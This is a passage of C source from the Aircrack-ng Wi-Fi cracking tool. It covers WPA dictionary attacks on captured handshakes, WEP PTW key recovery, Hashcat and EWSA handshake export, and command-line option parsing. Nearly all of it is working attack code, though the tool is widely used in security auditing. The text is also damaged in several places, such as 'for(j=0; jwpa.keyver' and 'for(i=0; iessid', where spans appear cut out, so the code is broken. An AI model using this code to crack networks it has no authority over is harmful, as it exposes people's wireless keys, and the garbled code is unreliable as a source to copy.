ap->wpa.stmac, 6 ); } if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 ) { memcpy( pke + 35, ap->wpa.snonce, 32 ); memcpy( pke + 67, ap->wpa.anonce, 32 ); } else { memcpy( pke + 35, ap->wpa.anonce, 32 ); memcpy( pke + 67, ap->wpa.snonce, 32 ); } /* receive the essid */ slen = strlen(essid) + 4; while( 1 ) { if (close_aircrack) pthread_exit(&ret); /* receive passphrases */ for(j=0; jwpa.keyver == 1) HMAC(EVP_md5(), ptk[j], 16, ap->wpa.eapol, ap->wpa.eapol_size, mic[j], NULL); else HMAC(EVP_sha1(), ptk[j], 16, ap->wpa.eapol, ap->wpa.eapol_size, mic[j], NULL); if (memcmp( mic[j], ap->wpa.keymic, 16 ) == 0) { // to stop do_wpa_crack, we close the dictionary pthread_mutex_lock( &mx_dic ); if(opt.dict != NULL) { if (!opt.stdin_dict) fclose(opt.dict); opt.dict = NULL; } pthread_mutex_unlock( &mx_dic ); for( i = 0; i < opt.nbcpu; i++ ) { // we make sure do_wpa_crack doesn't block before exiting, // now that we're not consuming passphrases here any longer pthread_mutex_lock(&wpa_data[i].mutex); pthread_cond_signal(&wpa_data[i].cond); pthread_mutex_unlock(&wpa_data[i].mutex); } memcpy(data->key, key[j], sizeof(data->key)); // Write the key to a file if (opt.logKeyToFile != NULL) { keyFile = fopen(opt.logKeyToFile, "w"); if (keyFile != NULL) { fprintf(keyFile, "%s", key[j]); fclose(keyFile); } } if (opt.is_quiet) return SUCCESS; pthread_mutex_lock(&mx_nb); nb_tried += 4; // # of key tried might not always be a multiple of 4 if(key[0][0]==0) nb_tried--; if(key[1][0]==0) nb_tried--; if(key[2][0]==0) nb_tried--; if(key[3][0]==0) nb_tried--; nb_kprev += 4; pthread_mutex_unlock(&mx_nb); len = strlen(key[j]); if (len > 64 ) len = 64; if (len < 8) len = 8; show_wpa_stats( key[j], len, pmk[j], ptk[j], mic[j], 1 ); if (opt.l33t) printf( "\33[31;1m" ); printf("\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n", ( 80 - 15 - (int) len ) / 2, key[j] ); if (opt.l33t) printf( "\33[32;22m" ); return SUCCESS; } } pthread_mutex_lock(&mx_nb); nb_tried += 4; // # of key tried might not always be a multiple of 4 if(key[0][0]==0) nb_tried--; if(key[1][0]==0) nb_tried--; if(key[2][0]==0) nb_tried--; if(key[3][0]==0) nb_tried--; nb_kprev += 4; pthread_mutex_unlock(&mx_nb); if (!opt.is_quiet) { len = strlen(key[0]); if (len > 64 ) len = 64; if (len < 8) len = 8; show_wpa_stats(key[0], len, pmk[0], ptk[0], mic[0], 0); } } } /** * Open a specific dictionary * nb: index of the dictionary * return 0 on success and FAILURE if it failed */ int next_dict(int nb) { pthread_mutex_lock( &mx_dic ); if(opt.dict != NULL) { if(!opt.stdin_dict) fclose(opt.dict); opt.dict = NULL; } opt.nbdict = nb; if(opt.dicts[opt.nbdict] == NULL) { pthread_mutex_unlock( &mx_dic ); return( FAILURE ); } while(opt.nbdict < MAX_DICTS && opt.dicts[opt.nbdict] != NULL) { if( strcmp( opt.dicts[opt.nbdict], "-" ) == 0 ) { opt.stdin_dict = 1; if( ( opt.dict = fdopen( fileno(stdin) , "r" ) ) == NULL ) { perror( "fopen(dictionary) failed" ); opt.nbdict++; continue; } opt.no_stdin = 1; } else { opt.stdin_dict = 0; if( ( opt.dict = fopen( opt.dicts[opt.nbdict], "r" ) ) == NULL ) { perror( "fopen(dictionary) failed" ); opt.nbdict++; continue; } fseek(opt.dict, 0L, SEEK_END); if ( ftello( opt.dict ) <= 0L ) { printf("ERROR: %s\n", strerror(errno)); fclose( opt.dict ); opt.dict = NULL; opt.nbdict++; continue; } rewind( opt.dict ); } break; } pthread_mutex_unlock( &mx_dic ); if(opt.nbdict >= MAX_DICTS || opt.dicts[opt.nbdict] == NULL) return( FAILURE ); return( 0 ); } #ifdef HAVE_SQLITE int sql_wpacallback(void* arg, int ccount, char** values, char** columnnames ) { struct AP_info *ap = (struct AP_info*)arg; unsigned char ptk[80]; unsigned char mic[20]; FILE * keyFile; if(ccount) {} //XXX if(columnnames) {} //XXX calc_mic(ap, (unsigned char*) values[0], ptk, mic); if( memcmp( mic, ap->wpa.keymic, 16 ) == 0 ) { // Write the key to a file if (opt.logKeyToFile != NULL) { keyFile = fopen(opt.logKeyToFile, "w"); if (keyFile != NULL) { fprintf(keyFile, "%s", values[1]); fclose(keyFile); } } if( opt.is_quiet ) { printf( "KEY FOUND! [ %s ]\n", values[1] ); return 1; } show_wpa_stats( values[1], strlen(values[1]), (unsigned char*)(values[0]), ptk, mic, 1 ); if( opt.l33t ) printf( "\33[31;1m" ); printf( "\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n", ( 80 - 15 - (int) strlen(values[1])) / 2, values[1] ); if( opt.l33t ) printf( "\33[32;22m" ); // abort the query return 1; } nb_tried++; nb_kprev++; if( ! opt.is_quiet ) show_wpa_stats( values[1], strlen(values[1]), (unsigned char*)(values[0]), ptk, mic, 0 ); return 0; } #endif int do_make_wkp(struct AP_info *ap_cur) { size_t elt_written; uint i = 0; while( ap_cur != NULL ) { if( ap_cur->target && ap_cur->wpa.state == 7 ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No valid WPA handshakes found.\n" ); return( 0 ); } if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set ) { printf( "An ESSID is required. Try option -e.\n" ); return( 0 ); } if( opt.essid_set && ap_cur->essid[0] == '\0' ) { memset( ap_cur->essid, 0, sizeof( ap_cur->essid ) ); strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 ); } printf("\n\nBuilding WKP (3.02) file...\n\n"); printf("[*] ESSID (length: %d): %s\n", (int)strlen(ap_cur->essid), ap_cur->essid); printf("[*] Key version: %d\n", ap_cur->wpa.keyver); printf("[*] BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); printf("[*] STA: %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->wpa.stmac[0], ap_cur->wpa.stmac[1], ap_cur->wpa.stmac[2], ap_cur->wpa.stmac[3], ap_cur->wpa.stmac[4], ap_cur->wpa.stmac[5] ); printf("\n[*] anonce:"); for(i = 0; i < 32; i++) { if(i % 16 == 0) printf("\n "); printf("%02X ", ap_cur->wpa.anonce[i]); } printf("\n[*] snonce:"); for(i = 0; i < 32; i++) { if(i % 16 == 0) printf("\n "); printf("%02X ", ap_cur->wpa.snonce[i]); } printf("\n[*] Key MIC:\n "); for(i = 0; i < 16; i++) { printf(" %02X", ap_cur->wpa.keymic[i]); } printf("\n[*] eapol:"); for( i = 0; i < ap_cur->wpa.eapol_size; i++) { if( i % 16 == 0 ) printf("\n "); printf("%02X ",ap_cur->wpa.eapol[i]); } printf("\n"); // write file FILE * fp_wkp; char frametmp[WKP_FRAME_LENGTH]; char *ptmp; memcpy(frametmp, wkp_frame,WKP_FRAME_LENGTH * sizeof(char)); // Make sure the filename contains the extension if (( strstr(opt.wkp, ".wkp") == NULL || strlen(strstr(opt.wkp, ".wkp")) != 4 ) && ( strstr(opt.wkp, ".WKP") == NULL || strlen(strstr(opt.wkp, ".WKP")) != 4) ) { strcat(opt.wkp, ".wkp"); } fp_wkp = fopen( opt.wkp,"w" ); if (fp_wkp == NULL) { printf("\nFailed to create EWSA project file\n"); return 0; } // ESSID memcpy(&frametmp[0x4c0], ap_cur->essid, sizeof(ap_cur->essid)); // BSSID ptmp = (char *)ap_cur->bssid; memcpy(&frametmp[0x514], ptmp, 6); // Station Mac ptmp = (char *)ap_cur->wpa.stmac; memcpy(&frametmp[0x51a], ptmp, 6); // ESSID memcpy(&frametmp[0x520], ap_cur->essid, sizeof(ap_cur->essid)); // ESSID length frametmp[0x540] = strlen(ap_cur->essid); // WPA Key version frametmp[0x544] = ap_cur->wpa.keyver; // Size of EAPOL frametmp[0x548] = ap_cur->wpa.eapol_size; // anonce ptmp = (char *)ap_cur->wpa.anonce; memcpy(&frametmp[0x54c], ptmp, 32); // snonce ptmp = (char *)ap_cur->wpa.snonce; memcpy(&frametmp[0x56c], ptmp, 32); // EAPOL ptmp = (char *)ap_cur->wpa.eapol; memcpy(&frametmp[0x58c], ptmp, ap_cur->wpa.eapol_size); // Key MIC ptmp = (char *)ap_cur->wpa.keymic; memcpy(&frametmp[0x68c], ptmp, 16); elt_written = fwrite(frametmp, 1, WKP_FRAME_LENGTH, fp_wkp); fclose(fp_wkp); if ((int)elt_written == WKP_FRAME_LENGTH) { printf("\nSuccessfully written to %s\n", opt.wkp); } else { printf("\nFailed to write to %s\n !", opt.wkp); } return( 1 ); } int do_make_hccap(struct AP_info *ap_cur) { size_t elt_written; uint i = 0; while( ap_cur != NULL ) { if( ap_cur->target && ap_cur->wpa.state == 7 ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No valid WPA handshakes found.\n" ); return( 0 ); } if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set ) { printf( "An ESSID is required. Try option -e.\n" ); return( 0 ); } if( opt.essid_set && ap_cur->essid[0] == '\0' ) { memset( ap_cur->essid, 0, sizeof( ap_cur->essid ) ); strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 ); } printf("\n\nBuilding Hashcat (1.00) file...\n\n"); printf("[*] ESSID (length: %d): %s\n", (int)strlen(ap_cur->essid), ap_cur->essid); printf("[*] Key version: %d\n", ap_cur->wpa.keyver); printf("[*] BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); printf("[*] STA: %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->wpa.stmac[0], ap_cur->wpa.stmac[1], ap_cur->wpa.stmac[2], ap_cur->wpa.stmac[3], ap_cur->wpa.stmac[4], ap_cur->wpa.stmac[5] ); printf("\n[*] anonce:"); for(i = 0; i < 32; i++) { if(i % 16 == 0) printf("\n "); printf("%02X ", ap_cur->wpa.anonce[i]); } printf("\n[*] snonce:"); for(i = 0; i < 32; i++) { if(i % 16 == 0) printf("\n "); printf("%02X ", ap_cur->wpa.snonce[i]); } printf("\n[*] Key MIC:\n "); for(i = 0; i < 16; i++) { printf(" %02X", ap_cur->wpa.keymic[i]); } printf("\n[*] eapol:"); for( i = 0; i < ap_cur->wpa.eapol_size; i++) { if( i % 16 == 0 ) printf("\n "); printf("%02X ",ap_cur->wpa.eapol[i]); } printf("\n"); // write file FILE * fp_hccap; strcat(opt.hccap, ".hccap"); fp_hccap = fopen( opt.hccap,"wb" ); if (fp_hccap == NULL) { printf("\nFailed to create Hashcat capture file\n"); return 0; } typedef struct { char essid[36]; unsigned char mac1[6]; unsigned char mac2[6]; unsigned char nonce1[32]; unsigned char nonce2[32]; unsigned char eapol[256]; int eapol_size; int keyver; unsigned char keymic[16]; } hccap_t; hccap_t hccap; memcpy (&hccap.essid, &ap_cur->essid, sizeof (ap_cur->essid)); memcpy (&hccap.mac1, &ap_cur->bssid, sizeof (ap_cur->bssid)); memcpy (&hccap.mac2, &ap_cur->wpa.stmac, sizeof (ap_cur->wpa.stmac)); memcpy (&hccap.nonce1, &ap_cur->wpa.snonce, sizeof (ap_cur->wpa.snonce)); memcpy (&hccap.nonce2, &ap_cur->wpa.anonce, sizeof (ap_cur->wpa.anonce)); memcpy (&hccap.eapol, &ap_cur->wpa.eapol, sizeof (ap_cur->wpa.eapol)); memcpy (&hccap.eapol_size, &ap_cur->wpa.eapol_size, sizeof (ap_cur->wpa.eapol_size)); memcpy (&hccap.keyver, &ap_cur->wpa.keyver, sizeof (ap_cur->wpa.keyver)); memcpy (&hccap.keymic, &ap_cur->wpa.keymic, sizeof (ap_cur->wpa.keymic)); elt_written = fwrite(&hccap, sizeof (hccap_t), 1, fp_hccap); fclose(fp_hccap); if ((int)elt_written == 1) { printf("\nSuccessfully written to %s\n", opt.hccap); } else { printf("\nFailed to write to %s\n !", opt.hccap); } return( 1 ); } int do_wpa_crack() { int i, j, cid, num_cpus, res; char key1[128]; i = 0; res = 0; opt.amode = 2; num_cpus = opt.nbcpu; if( ! opt.is_quiet && !_speed_test) { if( opt.l33t ) printf( "\33[37;40m" ); printf( "\33[2J" ); if( opt.l33t ) printf( "\33[34;1m" ); printf("\33[2;34H%s",progname); } cid = 0; while( num_cpus > 0 ) { /* read a couple of keys (skip those < 8 chars) */ pthread_mutex_lock( &mx_dic ); if(opt.dict == NULL) { pthread_mutex_unlock( &mx_dic ); return( FAILURE ); } else pthread_mutex_unlock( &mx_dic ); do { memset(key1, 0, sizeof(key1)); if (_speed_test) strcpy(key1, "sorbosorbo"); else { pthread_mutex_lock( &mx_dic ); if (fgets(key1, sizeof(key1), opt.dict) == NULL) { pthread_mutex_unlock( &mx_dic ); if( opt.l33t ) printf( "\33[32;22m" ); /* printf( "\nPassphrase not in dictionary %s \n", opt.dicts[opt.nbdict] );*/ if(next_dict(opt.nbdict+1) != 0) { /* no more words, but we still have to wait for the cracking threads */ num_cpus = cid; //goto collect_and_test; return( FAILURE ); } else continue; } else pthread_mutex_unlock( &mx_dic ); } i = strlen( key1 ); if( i < 8 ) continue; if( i > 64 ) i = 64; while(i>0 && (key1[i-1]=='\r' || key1[i-1]=='\n')) i--; if (i<=0) continue; key1[i] = '\0'; for(j=0; j 2 || strlen(hex) == 0) { rtn = 1; break; } if(sscanf(hex, "%x", &dec) == 0 ) { rtn = 1; break; } (*key)[i] = dec; hex = strsep(&tmp, ":"); i++; } if(rtn) { continue; } } else { pthread_mutex_lock( &mx_dic ); if( fgets( *key, keysize, opt.dict ) == NULL ) { pthread_mutex_unlock( &mx_dic ); if( opt.l33t ) printf( "\33[32;22m" ); // printf( "\nPassphrase not in dictionary \"%s\" \n", opt.dicts[opt.nbdict] ); if(next_dict(opt.nbdict+1) != 0) { free(tmpref); tmp = NULL; return( FAILURE ); } else continue; } else pthread_mutex_unlock( &mx_dic ); i=strlen(*key); if( i <= 2 ) continue; if( (*key)[i - 1] == '\n' ) (*key)[--i] = '\0'; if( (*key)[i - 1] == '\r' ) (*key)[--i] = '\0'; if( i <= 0 ) continue; } break; } free(tmpref); return( SUCCESS ); } int set_dicts(char* optargs) { int len; char *optarg; opt.nbdict = 0; optarg = strsep(&optargs, ","); for(len=0; len 0) { show_wep_stats(opt.keylen - 1, 1, NULL, NULL, NULL, 0); gettimeofday( &t_last, NULL); } } for(i=0; i<=opt.keylen; i++) { wep.key[i] = (uchar)key[i]; } if(check_wep_key(wep.key, opt.keylen, 0) == SUCCESS) { free(key); return( SUCCESS ); } } } static int crack_wep_ptw(struct AP_info *ap_cur) { int (* all)[256]; int i, j, len = 0; opt.ap = ap_cur; all = malloc(256*32*sizeof(int)); if (all == NULL) { return FAILURE; } //initial setup (complete keyspace) for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) { all[i][j] = 1; } } //setting restricted keyspace for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) { if( (opt.is_alnum && (j<32 || j>=128) ) || (opt.is_fritz && (j<48 || j>=58)) || (opt.is_bcdonly && ( j > 0x99 || ( j & 0x0F ) > 0x09 )) ) all[i][j] = 0; } } //if debug is specified, force a specific value. for (i=0; i<32; i++) { for (j = 0; j < 256; j++) { if(opt.debug_row[i] == 1 && opt.debug[i] != j) all[i][j] = 0; else if(opt.debug_row[i] == 1 && opt.debug[i] == j) all[i][j] = 1; } } if(ap_cur->nb_ivs_clean > 99) { ap_cur->nb_ivs = ap_cur->nb_ivs_clean; //first try without bruteforcing, using only "clean" keystreams if(opt.keylen != 13) { if(PTW_computeKey(ap_cur->ptw_clean, wep.key, opt.keylen, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = opt.keylen; } else { /* try 1000 40bit keys first, to find the key "instantly" and you don't need to wait for 104bit to fail */ if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 5, 1000, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; else if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 13, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 13; else if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 5, (KEYLIMIT*opt.ffact)/3, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; } } if(!len) { ap_cur->nb_ivs = ap_cur->nb_ivs_vague; //in case its not found, try bruteforcing the id field and include "vague" keystreams PTW_DEFAULTBF[10]=1; PTW_DEFAULTBF[11]=1; // PTW_DEFAULTBF[12]=1; if(opt.keylen != 13) { if(PTW_computeKey(ap_cur->ptw_vague, wep.key, opt.keylen, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = opt.keylen; } else { /* try 1000 40bit keys first, to find the key "instantly" and you don't need to wait for 104bit to fail */ if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 5, 1000, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; else if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 13, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 13; else if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 5, (KEYLIMIT*opt.ffact)/10, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; } } if (!len) return FAILURE; opt.probability = 100; key_found(wep.key, len, -1); return SUCCESS; } int main( int argc, char *argv[] ) { int i, n, ret, option, j, ret1, nbMergeBSSID, unused; int cpu_count, showhelp, z, zz, forceptw; char *s, buf[128]; struct AP_info *ap_cur; int old=0; char essid[33]; #ifdef HAVE_SQLITE int rc; char *zErrMsg = 0; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; char *sqlformat = "SELECT pmk.PMK, passwd.passwd FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE essid.essid = '%q'"; char *sql; #endif #ifdef USE_GCRYPT // Register callback functions to ensure proper locking in the sensitive parts of libgcrypt. gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif ret = FAILURE; showhelp = 0; // Start a new process group, we are perhaps going to call kill(0, ...) later setsid(); progname = getVersion("Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); memset( &opt, 0, sizeof( opt ) ); srand( time( NULL ) ); // Get number of CPU (return -1 if failed). cpu_count = get_nb_cpus(); opt.nbcpu = 1; if (cpu_count > 1) { opt.nbcpu = cpu_count; } j=0; /* check the arguments */ opt.nbdict = 0; opt.amode = 0; opt.do_brute = 1; opt.do_mt_brute = 1; opt.showASCII = 0; opt.probability = 51; opt.next_ptw_try= 0; opt.do_ptw = 1; opt.max_ivs = INT_MAX; opt.visual_inspection = 0; opt.firstbssid = NULL; opt.bssid_list_1st = NULL; opt.bssidmerge = NULL; opt.oneshot = 0; opt.logKeyToFile = NULL; opt.wkp = NULL; opt.hccap = NULL; opt.forced_amode = 0; /* all_ivs = malloc( (256*256*256) * sizeof(used_iv)); memset(all_ivs, 0, (256*256*256)*sizeof(used_iv)); */ forceptw = 0; while( 1 ) { int option_index = 0; static struct option long_options[] = { {"bssid", 1, 0, 'b'}, {"debug", 1, 0, 'd'}, {"combine", 0, 0, 'C'}, {"help", 0, 0, 'H'}, {"wep-decloak", 0, 0, 'D'}, {"ptw-debug", 1, 0, 'P'}, {"visual-inspection", 0, 0, 'V'}, {"oneshot", 0, 0, '1'}, {"cpu-detect", 0, 0, 'u'}, {0, 0, 0, 0 } }; option = getopt_long( argc, argv, "r:a:e:b:p:qcthd:l:E:J:m:n:i:f:k:x::Xysw:0HKC:M:DP:zV1Su", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 'S': _speed_test = 1; opt.amode = 2; opt.dict = stdin; opt.bssid_set = 1; ap_1st = ap_cur = malloc(sizeof(*ap_cur)); if (!ap_cur) err(1, "malloc()"); memset(ap_cur, 0, sizeof(*ap_cur)); ap_cur->target = 1; ap_cur->wpa.state = 7; strcpy(ap_cur->essid, "sorbo"); goto __start; break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'u' : printf("Nb CPU detected: %d ", cpu_count); #if defined(__i386__) || defined(__x86_64__) unused = shasse2_cpuid(); if (unused == 1) { printf(" (MMX available)"); } if (unused >= 2) { printf(" (SSE2 available)"); } #endif printf("\n"); return( 0 ); case 'V' : if (forceptw) { printf("Visual inspection can only be used with KoreK\n"); printf("Use \"%s --help\" for help.\n", argv[0]); return FAILURE; } opt.visual_inspection = 1; opt.do_ptw = 0; break; case 'a' : ret1 = sscanf( optarg, "%d", &opt.amode ); if ( strcasecmp( optarg, "wep" ) == 0 ) opt.amode = 1; else if ( strcasecmp( optarg, "wpa" ) == 0 ) opt.amode = 2; if( opt.amode != 1 && opt.amode != 2 ) { printf( "Invalid attack mode. [1,2] or [wep,wpa]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.forced_amode = 1; break; case 'e' : memset( opt.essid, 0, sizeof( opt.essid ) ); strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 ); opt.essid_set = 1; break; case 'b' : if (getmac(optarg, 1, opt.bssid) != 0) { printf( "Invalid BSSID (not a MAC).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.bssid_set = 1; break; case 'p' : if( sscanf( optarg, "%d", &opt.nbcpu ) != 1 || opt.nbcpu < 1 || opt.nbcpu > MAX_THREADS) { printf( "Invalid number of processes (recommended: %d)\n", cpu_count ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'q' : opt.is_quiet = 1; break; case 'c' : opt.is_alnum = 1; break; case 'D' : opt.wep_decloak = 1; break; case 'h' : opt.is_fritz = 1; break; case 't' : opt.is_bcdonly = 1; break; case '1' : opt.oneshot = 1; break; case 'd' : i = 0 ; n = 0; s = optarg; while( s[i] != '\0' ) { if (s[i] == 'x') s[i] = 'X'; if (s[i] == 'y') s[i] = 'Y'; if ( s[i] == '-' || s[i] == ':' || s[i] == ' ') i++; else s[n++] = s[i++]; } s[n] = '\0' ; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; i = 0; j = 0; while( ( sscanf( buf, "%x", &n ) == 1 ) || ( buf[0] == 'X' && buf[1] == 'X' ) || ( buf[0] == 'Y' && buf[1] == 'Y' )) { if ( buf[0] == 'X' && buf[1] == 'X' ) { opt.debug_row[i++] = 0 ; } else if ( buf[0] == 'Y' && buf[1] == 'Y' ) { opt.brutebytes[j++] = i++; } else { if ( n < 0 || n > 255 ) { printf( "Invalid debug key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.debug[i] = n ; opt.debug_row[i++] = 1; } if( i >= 64 ) break; s += 2; buf[0] = s[0]; buf[1] = s[1]; } break; case 'm' : if ( getmac(optarg, 1, opt.maddr) != 0) { printf( "Invalid MAC address filter.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'n' : if( sscanf( optarg, "%d", &opt.keylen ) != 1 || ( opt.keylen != 64 && opt.keylen != 128 && opt.keylen != 152 && opt.keylen != 256 && opt.keylen != 512 ) ) { printf( "Invalid WEP key length. [64,128,152,256,512]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.keylen = ( opt.keylen / 8 ) - 3; break; case 'i' : if( sscanf( optarg, "%d", &opt.index ) != 1 || opt.index < 1 || opt.index > 4 ) { printf( "Invalid WEP key index. [1-4]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'f' : if( sscanf( optarg, "%f", &opt.ffact ) != 1 || opt.ffact < 1 ) { printf( "Invalid fudge factor. [>=1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'k' : if( sscanf( optarg, "%d", &opt.korek ) != 1 || opt.korek < 1 || opt.korek > N_ATTACKS ) { printf( "Invalid KoreK attack strategy. [1-%d]\n", N_ATTACKS ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } K_COEFF[(opt.korek) - 1] = 0; break; case 'l' : opt.logKeyToFile = (char *)calloc(1, strlen(optarg) + 1); if (opt.logKeyToFile == NULL) { printf("Error allocating memory\n"); return( FAILURE ); } strncpy(opt.logKeyToFile, optarg, strlen(optarg)); break; case 'E' : // Make sure there's enough space for file extension just in case it was forgotten opt.wkp = (char *)calloc(1, strlen(optarg) + 1 + 4); if (opt.wkp == NULL) { printf("Error allocating memory\n"); return( FAILURE ); } strncpy(opt.wkp, optarg, strlen(optarg)); break; case 'J' : // Make sure there's enough space for file extension just in case it was forgotten opt.hccap = (char *)calloc(1, strlen(optarg) + 1 + 6); if (opt.hccap == NULL) { printf("Error allocating memory\n"); return( FAILURE ); } strncpy(opt.hccap, optarg, strlen(optarg)); break; case 'M' : if( sscanf( optarg, "%d", &opt.max_ivs) != 1 || opt.max_ivs < 1) { printf( "Invalid number of max. ivs [>1]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } K_COEFF[(opt.korek) - 1] = 0; break; case 'P' : if( sscanf( optarg, "%d", &opt.ptw_attack) != 1 || opt.ptw_attack < 0 || opt.ptw_attack > 2) { printf( "Invalid number for ptw debug [0-2]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'x' : opt.do_brute = 0; if (optarg) { if (sscanf(optarg, "%d", &opt.do_brute)!=1 || opt.do_brute<0 || opt.do_brute>4) { printf("Invalid option -x%s. [0-4]\n", optarg); printf("\"%s --help\" for help.\n", argv[0]); return FAILURE; } } break; case 'X' : opt.do_mt_brute = 0; break; case 'y' : opt.do_testy = 1; break; case 'K' : opt.do_ptw = 0; break; case 's' : opt.showASCII = 1; break; case 'w' : if(set_dicts(optarg) != 0) { printf("\"%s --help\" for help.\n", argv[0]); return FAILURE; } break; case 'r' : #ifdef HAVE_SQLITE if(sqlite3_open(optarg, &db)) { fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db)); sqlite3_close(db); return FAILURE; } #else fprintf(stderr, "Error: Aircrack-ng wasn't compiled with sqlite support\n"); return FAILURE; #endif break; case '0' : opt.l33t = 1; break; case 'H' : showhelp = 1; goto usage; break; case 'C' : nbMergeBSSID = checkbssids(optarg); if(nbMergeBSSID < 1) { printf("Invalid bssids (-C).\n\"%s --help\" for help.\n", argv[0]); return FAILURE; } // Useless to merge BSSID if only one element if (nbMergeBSSID == 1) printf("Merging BSSID disabled, only one BSSID specified\n"); else opt.bssidmerge = optarg; break; case 'z' : /* only for backwards compatibility - PTW used by default */ if (opt.visual_inspection) { printf("Visual inspection can only be used with KoreK\n"); printf("Use \"%s --help\" for help.\n", argv[0]); return FAILURE; } forceptw = 1; break; default : goto usage; } } if( argc - optind < 1 ) { if(argc == 1) { usage: printf (usage, progname, ( cpu_count > 1 || cpu_count == -1) ? "\n -X : disable bruteforce multithreading\n" : "\n"); // If the user requested help, exit directly. if (showhelp == 1) exit(0); } // Missing parameters if( argc - optind == 0) { printf("No file to crack specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( ret ); } if( opt.amode == 2 && opt.dict == NULL ) { nodict: if (opt.wkp == NULL && opt.hccap == NULL) { printf( "Please specify a dictionary (option -w).\n" ); } else { if (opt.wkp) { ap_cur = ap_1st; ret = do_make_wkp(ap_cur); } if (opt.hccap) { ap_cur = ap_1st; ret = do_make_hccap(ap_cur); } } goto exit_main; } if( (! opt.essid_set && ! opt.bssid_set) && ( opt.is_quiet || opt.no_stdin ) ) { printf( "Please specify an ESSID or BSSID.\n" ); goto exit_main; } /* start one thread per input file */ signal( SIGINT, sighandler ); signal( SIGQUIT, sighandler ); signal( SIGTERM, sighandler ); signal( SIGALRM, SIG_IGN ); pthread_mutex_init( &mx_apl, NULL ); pthread_mutex_init( &mx_ivb, NULL ); pthread_mutex_init( &mx_eof, NULL ); pthread_mutex_init( &mx_dic, NULL ); pthread_cond_init( &cv_eof, NULL ); ap_1st = NULL; old = optind; n = argc - optind; id = 0; if( !opt.bssid_set ) { do { if( strcmp( argv[optind], "-" ) == 0 ) opt.no_stdin = 1; if( pthread_create( &(tid[id]), NULL, (void *) check_thread, (void *) argv[optind] ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } usleep( 131071 ); id++; if(id >= MAX_THREADS) { if(! opt.is_quiet) printf("Only using the first %d files, ignoring the rest.\n", MAX_THREADS); break; } } while( ++optind < argc ); /* wait until each thread reaches EOF */ if( ! opt.is_quiet ) { printf( "Reading packets, please wait...\r" ); fflush( stdout ); } // #ifndef DO_PGO_DUMP // signal( SIGINT, SIG_DFL ); /* we want sigint to stop and dump pgo data */ // #endif intr_read=1; for(i=0; iessid, 32); for(zz=0;zz<32;zz++) { if( (essid[zz] > 0 && essid[zz] < 32) || (essid[zz] > 126) ) essid[zz]='?'; } printf( "%4d %02X:%02X:%02X:%02X:%02X:%02X %-24s ", i, ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5], essid ); if( ap_cur->eapol ) 